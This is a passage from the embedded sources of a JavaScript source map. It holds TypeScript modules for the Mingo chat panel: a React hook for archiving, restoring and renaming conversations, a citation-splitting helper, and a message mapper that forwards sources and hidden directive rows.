*/\n  renameDialog: (id: string, title: string) => Promise<void>;\n  /** Archive a dialog (wired through the active adapter). */\n  archiveDialog: (id: string) => Promise<void>;\n  /** Host callback that pages archived dialogs — gates the archive UI. */\n  fetchArchivedDialogs?: (params: FetchDialogsParams) => Promise<FetchDialogsResult>;\n  /** Host callback that restores an archived dialog — gates the restore UI. */\n  unarchiveDialog?: (id: string) => Promise<void>;\n}\n\n/**\n * Owns the chat panel's dialog-history concerns so `EmbeddableChat` stays an\n * orchestrator rather than a state dump:\n *   - the Chat Archive page (open / paginate the archived list),\n *   - read-only \"archived conversation\" mode (open from the archive, restore,\n *     back-to-archive navigation),\n *   - the Rename / Archive / Unarchive confirmation-modal targets + handlers.\n *\n * Returns flat fields (intentionally the same names the JSX already uses) so\n * the consuming component reads as a thin wiring layer.\n */\nexport function useChatDialogManager({\n  dialogs,\n  activeDialogId,\n  selectDialog,\n  clearMessages,\n  renameDialog,\n  archiveDialog,\n  fetchArchivedDialogs,\n  unarchiveDialog,\n}: UseChatDialogManagerArgs) {\n  // ─── Rename / Archive confirmation modals ───\n  const [renameTarget, setRenameTarget] = useState<DialogItem | null>(null);\n  const [archiveTarget, setArchiveTarget] = useState<DialogItem | null>(null);\n  const handleConfirmRename = useCallback(\n    (name: string) => {\n      if (renameTarget) void renameDialog(renameTarget.id, name);\n      setRenameTarget(null);\n    },\n    [renameTarget, renameDialog],\n  );\n\n  // ─── Open-conversation tracking ───\n  // `openingDialogId` is set synchronously the moment a dialog is selected from\n  // the current-chats list, so the panel can flip to the conversation surface\n  // immediately — matching the archived-chat open (`viewingArchivedId` above)\n  // instead of waiting for `messages` to finish loading. Without it the normal\n  // open lagged behind the archived one (grey → load → flip vs. instant flip).\n  const [openingDialogId, setOpeningDialogId] = useState<string | null>(null);\n\n  const handleConfirmArchive = useCallback(async () => {\n    if (archiveTarget) {\n      try {\n        await archiveDialog(archiveTarget.id);\n      } catch (err) {\n        // Keep the modal open (don't clear the target) so the user can retry;\n        // don't tear down the open conversation for an archive that failed.\n        console.error('[useChatDialogManager] archive failed:', err);\n        return;\n      }\n      // Archiving the open conversation drops back to the chat list.\n      if (archiveTarget.id === activeDialogId) {\n        setOpeningDialogId(null);\n        clearMessages();\n      }\n    }\n    setArchiveTarget(null);\n  }, [archiveTarget, archiveDialog, activeDialogId, clearMessages]);\n\n  // ─── Chat Archive page ───\n  // The archived list is paged locally (it's a secondary, on-demand view).\n  const [archiveOpen, setArchiveOpen] = useState(false);\n  const [archivedDialogs, setArchivedDialogs] = useState<DialogItem[]>([]);\n  const [archivedCursor, setArchivedCursor] = useState<string | null>(null);\n  const [archivedLoading, setArchivedLoading] = useState(false);\n  // A fetch is in flight, tracked SEPARATELY from the delayed skeleton\n  // (`archivedLoading`). Set synchronously so the empty state stays suppressed\n  // during the 120ms skeleton delay — otherwise an uncached first open flashes\n  // \"No archived chats\" before the skeleton/data appears.\n  const [archivedPending, setArchivedPending] = useState(false);\n  // Monotonic request id — a background page-1 refresh and a pagination fetch\n  // can overlap (the retained list stays interactive while page 1 revalidates).\n  // Only the LATEST request may mutate the list / cursor / loading flags, so a\n  // slow earlier response can't clobber newer rows, append stale ones, or clear\n  // the shared loading flag while another request is still in flight.\n  const archivedRequestIdRef = useRef(0);\n  const loadArchivedPage = useCallback(\n    async (cursor?: string): Promise<void> => {\n      if (!fetchArchivedDialogs) return;\n      const requestId = ++archivedRequestIdRef.current;\n      const isCurrent = () => archivedRequestIdRef.current === requestId;\n      // Only a first-page load drives the full-view skeleton, and only if it's\n      // actually slow: a 120ms delay means a cached/fast fetch (the host caches\n      // page 1) resolves first and never flashes a skeleton. Pagination\n      // (`cursor`) keeps the current list visible.\n      const isInitial = !cursor;\n      setArchivedPending(true);\n      let skeletonTimer: ReturnType<typeof setTimeout> | undefined;\n      if (isInitial) {\n        // Delay the full-view skeleton so a cached/fast page-1 fetch never\n        // flashes it (and skip it if a newer request already superseded us).\n        skeletonTimer = setTimeout(() => {\n          if (isCurrent()) setArchivedLoading(true);\n        }, 120);\n      } else {\n        // Pagination shows its \"load more\" indicator immediately (the list\n        // stays visible), so no delay here.\n        setArchivedLoading(true);\n      }\n      try {\n        const result = await fetchArchivedDialogs({ cursor, limit: 20 });\n        // A newer request superseded this one — drop the response so overlapping\n        // refresh / pagination can't append stale rows or clobber newer results.\n        if (!isCurrent()) return;\n        setArchivedCursor(result.nextCursor);\n        setArchivedDialogs(prev => (cursor ? [...prev, ...result.dialogs] : result.dialogs));\n      } catch (err) {\n        if (!isCurrent()) return;\n        console.error('[useChatDialogManager] fetchArchivedDialogs failed:', err);\n      } finally {\n        if (skeletonTimer) clearTimeout(skeletonTimer);\n        // Only the latest request owns the shared loading / pending flags.\n        if (isCurrent()) {\n          setArchivedLoading(false);\n          setArchivedPending(false);\n        }\n      }\n    },\n    [fetchArchivedDialogs],\n  );\n  const openArchive = useCallback(() => {\n    setArchiveOpen(true);\n    // Don't clear the list — keep any already-loaded page visible and refresh\n    // page 1 in the background (stale-while-revalidate), so reopening the\n    // archive within a session doesn't blank out to a skeleton.\n    void loadArchivedPage();\n  }, [loadArchivedPage]);\n  const closeArchive = useCallback(() => setArchiveOpen(false), []);\n\n  // ─── Read-only \"archived conversation\" mode ───\n  // Set when a chat is opened FROM the archive page — flips the open\n  // conversation into read-only mode (restore button + disabled composer).\n  const [viewingArchivedId, setViewingArchivedId] = useState<string | null>(null);\n\n  const handleSelectDialog = useCallback(\n    (id: string) => {\n      setViewingArchivedId(null);\n      setOpeningDialogId(id);\n      selectDialog(id);\n    },\n    [selectDialog],\n  );\n  const isOpeningDialog = openingDialogId != null && openingDialogId === activeDialogId;\n\n  const handleArchivedSelect = useCallback(\n    (id: string) => {\n      setArchiveOpen(false);\n      setOpeningDialogId(null);\n      setViewingArchivedId(id);\n      selectDialog(id);\n    },\n    [selectDialog],\n  );\n  const [restoreTarget, setRestoreTarget] = useState<DialogItem | null>(null);\n  const handleConfirmRestore = useCallback(async () => {\n    if (restoreTarget) {\n      try {\n        await unarchiveDialog?.(restoreTarget.id);\n      } catch (err) {\n        // Backend restore failed — leave the local archived cache untouched so\n        // the dialog doesn't vanish from the archive only to resurface on the\n        // next fetch. Keep the modal open for a retry.\n        console.error('[useChatDialogManager] unarchive failed:', err);\n        return;\n      }\n      // Drop it from the locally-cached archived list and exit read-only mode\n      // so the composer returns and the user can keep chatting.\n      setArchivedDialogs(prev => prev.filter(d => d.id !== restoreTarget.id));\n      setViewingArchivedId(cur => (cur === restoreTarget.id ? null : cur));\n    }\n    setRestoreTarget(null);\n  }, [restoreTarget, unarchiveDialog]);\n\n  const isViewingArchived = viewingArchivedId != null && viewingArchivedId === activeDialogId;\n\n  // Header back-chevron: from an archived chat, return to the Chat Archive\n  // page (not the current-chats list); otherwise reset to the list.\n  const handleBack = useCallback(() => {\n    const wasArchived = isViewingArchived;\n    setViewingArchivedId(null);\n    setOpeningDialogId(null);\n    // Reset the adapter's active dialog id (not just the message buffer):\n    // `clearMessages` empties `messages` but leaves `activeDialogId` pointing at\n    // the just-closed dialog, so re-selecting that same dialog from the list is\n    // a no-op the history-load effect skips → a blank conversation. Selecting\n    // `null` lets the next selection register as a real change and reload.\n    selectDialog(null);\n    clearMessages();\n    if (wasArchived) setArchiveOpen(true);\n  }, [isViewingArchived, selectDialog, clearMessages]);\n\n  // \"Start New Chat\" reset — clears the open conversation and ALWAYS lands on\n  // the new-chat welcome. Unlike `handleBack`, it never reopens the archive\n  // (backing out of an archived chat returns to the archive; starting a NEW\n  // chat must not), so the archive is force-closed here regardless of state.\n  const resetToNewChat = useCallback(() => {\n    setViewingArchivedId(null);\n    setOpeningDialogId(null);\n    selectDialog(null);\n    clearMessages();\n    setArchiveOpen(false);\n  }, [selectDialog, clearMessages]);\n\n  // Active-conversation dialog — resolved from the active list, or the\n  // archived list when an archived chat is open (archived dialogs aren't in\n  // `dialogs`, so the header title and ⋯ / restore actions need this).\n  const activeDialog = useMemo(\n    () => dialogs.find(d => d.id === activeDialogId) ?? archivedDialogs.find(d => d.id === activeDialogId),\n    [dialogs, archivedDialogs, activeDialogId],\n  );\n\n  return {\n    // capability passthroughs (gate the archive / restore affordances)\n    fetchArchivedDialogs,\n    unarchiveDialog,\n    // archive page\n    archiveOpen,\n    archivedDialogs,\n    archivedCursor,\n    archivedLoading,\n    archivedPending,\n    openArchive,\n    closeArchive,\n    loadArchivedPage,\n    handleArchivedSelect,\n    // open conversation (current-chats list)\n    handleSelectDialog,\n    isOpeningDialog,\n    // archived conversation\n    isViewingArchived,\n    handleBack,\n    resetToNewChat,\n    activeDialog,\n    // action modals\n    renameTarget,\n    setRenameTarget,\n    archiveTarget,\n    setArchiveTarget,\n    restoreTarget,\n    setRestoreTarget,\n    handleConfirmRename,\n    handleConfirmArchive,\n    handleConfirmRestore,\n  };\n}\n","import type { ChatSource } from '../types/message.types';\n\n/** How many retrieved sources to show when the answer cited none of them. */\nexport const FALLBACK_TOP_RETRIEVED = 3;\n\nexport interface CitedSources {\n  /** Sources the answer referenced, in the order the answer first referenced\n   *  them — NOT in `index` order. */\n  cited: ChatSource[];\n  /** Everything retrieved but not referenced, in the order supplied. */\n  uncited: ChatSource[];\n}\n\n/** `[1]`, `[12]` — a citation marker in the answer body. */\nconst CITATION = /\\[(\\d+)\\]/g;\n\n/** Fenced blocks and inline code spans. */\nconst CODE = /```[\\s\\S]*?```|~~~[\\s\\S]*?~~~|`[^`\\n]*`/g;\n\n/**\n * Blank out code before looking for citations.\n *\n * `$items[1]`, `argv[1]`, `matrix[0][1]` — array indexing is not a citation,\n * and this assistant answers with scripts constantly. Left in, a snippet marks\n * a source as cited that the prose never mentions, and worse, seeds the reading\n * order from a position inside a code block.\n *\n * Replaced with spaces rather than removed so nothing outside the block shifts\n * — only whether a marker is inside one is being decided here.\n */\nfunction withoutCode(content: string): string {\n  return content.replace(CODE, block => ' '.repeat(block.length));\n}\n\n/**\n * Split an answer's sources into the ones it cited and the ones it did not.\n *\n * Reading order, not numeric order: the strip is a legend for the sentences\n * above it, so the chip for the citation the reader meets first comes first,\n * even when the model numbered it `[3]`. A number cited twice is placed once,\n * at its first mention.\n *\n * `content` is the flat answer text. A segmented message has to be flattened by\n * the caller — citation markers live in text segments, and this function\n * deliberately does not know what a segment is.\n */\nexport function splitCitedSources(sources: ChatSource[] | undefined, content: string): CitedSources {\n  if (!sources || sources.length === 0) return { cited: [], uncited: [] };\n\n  const firstMentionAt = new Map<number, number>();\n  for (const match of withoutCode(content).matchAll(CITATION)) {\n    const index = Number.parseInt(match[1], 10);\n    if (!firstMentionAt.has(index)) firstMentionAt.set(index, firstMentionAt.size);\n  }\n\n  const cited = sources\n    .filter(source => firstMentionAt.has(source.index))\n    .sort((a, b) => (firstMentionAt.get(a.index) ?? 0) - (firstMentionAt.get(b.index) ?? 0));\n  const uncited = sources.filter(source => !firstMentionAt.has(source.index));\n  return { cited, uncited };\n}\n","/**\n * `UnifiedChatMessage` (what the chat state produces, and what a host like\n * Mingo hands in) → `Message` (what the thread renders).\n *\n * The two types overlap but are not the same: this step resolves the role's\n * default name and avatar, folds `segments` back into `content`, and stamps a\n * timestamp for rows that arrived without one. So it is a REBUILD, and a\n * rebuild names every field it keeps — which makes \"a new field was added\n * upstream\" a silent data loss by default, not a compile error.\n *\n * It has cost us that twice already. `hidden` was dropped here, and a synthetic\n * directive the reader was never meant to see rendered as an ordinary bubble.\n * Then Guide Mode's `sources` / `refs` were dropped here, and every answer lost\n * its citation strip while its cards fell back to being titled by their own id\n * — with the decoder, the reducer and the renderer all working correctly, which\n * is exactly why it took a screenshot diff to find.\n *\n * Hence this module: pure, cheap to render-free test, and the one place the\n * pass-through list is pinned.\n */\n\nimport type { Message } from '../types/message.types';\nimport type { UnifiedChatMessage } from '../types/unified-chat-state.types';\n\nexport interface HostMessageMapOptions {\n  /** Display name for `user` rows when the host supplies none. */\n  userName?: string;\n  /** Avatar for `user` rows when the host supplies none. */\n  userAvatar?: string;\n  /**\n   * Fallback timestamps for rows that carry none, keyed by message id. Mutated:\n   * a row must keep the SAME fallback across renders, or its bubble re-stamps\n   * itself on every keystroke elsewhere in the thread.\n   */\n  timestampCache: Map<string, Date>;\n}\n\nexport function mapHostMessage(m: UnifiedChatMessage, options: HostMessageMapOptions): Message {\n  const { userName, userAvatar, timestampCache } = options;\n\n  let timestamp: Date;\n  if (m.timestamp != null) {\n    timestamp = new Date(m.timestamp);\n  } else {\n    const cached = timestampCache.get(m.id);\n    timestamp = cached ?? new Date();\n    if (!cached) timestampCache.set(m.id, timestamp);\n  }\n\n  return {\n    id: m.id,\n    role: m.role,\n    // Host-supplied per-message name/avatar win (e.g. the signed-in user's\n    // full name + photo on a `user` bubble); fall back to the role default\n    // when the host doesn't provide them.\n    name: m.name ?? (m.role === 'assistant' ? 'Mingo' : (userName ?? 'You')),\n    avatar: m.avatar ?? (m.role === 'user' ? (userAvatar ?? null) : null),\n    // Forward the host's authorType so user bubbles get the same accent\n    // name color as the standalone /mingo page (user → 'admin').\n    ...(m.authorType ? { authorType: m.authorType } : {}),\n    content: m.segments && m.segments.length > 0 ? m.segments : m.content,\n    timestamp,\n    assistantType: m.role === 'assistant' ? ('mingo' as const) : undefined,\n    // `hidden` is load-bearing, NOT cosmetic: it carries synthetic rows\n    // (e.g. an auto-continuation directive) that the LLM must see but the\n    // reader must not. See the module note above.\n    ...(m.hidden ? { hidden: true } : {}),\n    ...(m.scrollAnchor ? { scrollAnchor: m.scrollAnchor } : {}),\n    // Forward attached context items so the user bubble renders its chips.\n    ...(m.contextItems && m.contextItems.length > 0 ? { contextItems: m.contextItems } : {}),\n    // Per-answer source metadata: the citation strip under the answer, and the\n    // descriptions the `[card://…]` markers in its body expand into.\n    ...(m.sources && m.sources.length > 0 ? { sources: m.sources } : {}),\n    ...(m.refs && m.refs.length > 0 ? { refs: m.refs } : {}),\n  };\n}\n\n/**\n * Drop cached fallback timestamps for messages no longer in the thread, so the\n * map cannot grow unbounded across a long-lived session.\n */\nexport function pruneTimestampCache(timestampCache: Map<string, Date>, liveIds: Set<string>): void {\n  if (timestampCache.size <= liveIds.size) return;\n  for (const id of timestampCache.keys()) {\n    if (!liveIds.has(id)) timestampCache.delete(id);\n  }\n}\n"]}